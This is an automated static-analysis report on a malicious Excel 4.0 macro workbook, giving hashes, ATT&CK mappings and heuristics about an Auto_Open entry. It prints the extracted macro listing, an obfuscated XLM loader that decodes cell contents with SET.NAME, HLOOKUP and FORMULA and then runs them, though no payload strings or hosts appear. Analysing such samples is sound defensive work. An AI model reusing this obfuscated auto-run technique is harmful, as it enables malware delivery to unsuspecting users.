Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 466a91ef6fff9336…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:44:44 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 6ba544e379eab9187756f4e3119d1dd1 SHA-1: 28ef41cbe2776f38e68b0bc8ca97855e7f45da63 SHA-256: 466a91ef6fff93368daa65c1184f29ba5003a3a2c6b325d6c159c153eba0808f
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. This indicates an attempt to automatically execute code upon opening the workbook. The presence of dangerous formula APIs like RUN suggests the macro is designed to execute arbitrary commands or download further payloads, aligning with common malware delivery techniques.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6621 bytes
SHA-256: da5874f5527e27642ef637434ebd669f86e0f4377ed1bbd254f2cf9631c99aa4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  pAbOkrMMIoM
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I154 
' 0018     26 LABEL : Cell Value, String Constant - BAMTvoUYiUa len=0 
' 0018     21 LABEL : Cell Value, String Constant - BFxmAu len=0 
' 0018     23 LABEL : Cell Value, String Constant - CFUhJRBp len=0 
' 0018     23 LABEL : Cell Value, String Constant - dzughTAV len=0 
' 0018     23 LABEL : Cell Value, String Constant - EiyYlDaZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - EUYLFcDt len=0 
' 0018     25 LABEL : Cell Value, String Constant - fjEzeFWGZP len=0 
' 0018     22 LABEL : Cell Value, String Constant - FleWUlt len=0 
' 0018     25 LABEL : Cell Value, String Constant - jJtWJNYEZu len=0 
' 0018     24 LABEL : Cell Value, String Constant - linUbpLMn len=0 
' 0018     20 LABEL : Cell Value, String Constant - lvtUo len=0 
' 0018     22 LABEL : Cell Value, String Constant - nFQcNRZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - PdTvQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - qMdIqHsgUAF len=0 
' 0018     23 LABEL : Cell Value, String Constant - smoOWtbF len=0 
' 0018     24 LABEL : Cell Value, String Constant - UvMaBbNrl len=0 
' 0018     25 LABEL : Cell Value, String Constant - VEoenvROkC len=0 
' 0018     25 LABEL : Cell Value, String Constant - vgCKwxgZPf len=0 
' 0018     20 LABEL : Cell Value, String Constant - yDzRb len=0 
' 0018     21 LABEL : Cell Value, String Constant - yjKoYP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  pAbOkrMMIoM,I68,"SET.NAME("jJtWJNYEZu",VALUE("0"))",""
'  pAbOkrMMIoM,I71,"SET.NAME("lvtUo",jJtWJNYEZu)",""
'  pAbOkrMMIoM,I73,"SET.NAME("EiyYlDaZ",jJtWJNYEZu)",""
'  pAbOkrMMIoM,I76,"SET.NAME("BFxmAu",COUNTA(VEoenvROkC))",""
'  pAbOkrMMIoM,I78,"SET.NAME("linUbpLMn",COUNTA(dzughTAV))",""
'  pAbOkrMMIoM,I80,[],""
'  pAbOkrMMIoM,I82,"SET.NAME("fjEzeFWGZP","")",""
'  pAbOkrMMIoM,I84,"lvtUo",""
'  pAbOkrMMIoM,I87,"SET.NAME("UvMaBbNrl",HLOOKUP("*",VEoenvROkC,lvtUo,FALSE))",""
'  pAbOkrMMIoM,I90,"yDzRb",""
'  pAbOkrMMIoM,I92,"SET.NAME("CFUhJRBp",jJtWJNYEZu)",""
'  pAbOkrMMIoM,I94,[],""
'  pAbOkrMMIoM,I99,"CFUhJRBp",""
'  pAbOkrMMIoM,I104,"BAMTvoUYiUa",""
'  pAbOkrMMIoM,I107,"EUYLFcDt",""
'  pAbOkrMMIoM,I110,"smoOWtbF",""
'  pAbOkrMMIoM,I113,"SET.NAME("yjKoYP",VALUE(HLOOKUP("*",dzughTAV,smoOWtbF,FALSE)))",""
'  pAbOkrMMIoM,I118,"nFQcNRZ",""
'  pAbOkrMMIoM,I120,"fjEzeFWGZP",""
'  pAbOkrMMIoM,I122,"EiyYlDaZ",""
'  pAbOkrMMIoM,I125,NEXT(),""
'  pAbOkrMMIoM,I130,"PdTvQ",""
'  pAbOkrMMIoM,I135,"SET.NAME("f",INT(T(FORMULA(T(fjEzeFWGZP)&"",""&T(PdTvQ)))))",""
'  pAbOkrMMIoM,I140,"qMdIqHsgUAF",""
'  pAbOkrMMIoM,I145,NEXT(),""
'  pAbOkrMMIoM,I149,RETURN(),""
'  pAbOkrMMIoM,I176,"SET.NAME("FleWUlt",I68)",""
'  pAbOkrMMIoM,I179,"VEoenvROkC",""
'  pAbOkrMMIoM,I183,"SET.NAME("dzughTAV",R82C14)",""
'  pAbOkrMMIoM,I185,"SET.NAME("qMdIqHsgUAF",192)",""
'  pAbOkrMMIoM,I189,"SET.NAME("vgCKwxgZPf",9)",""
'  pAbOkrMMIoM,I191,FleWUlt(),""
'  pAbOkrMMIoM,I192,HALT(),""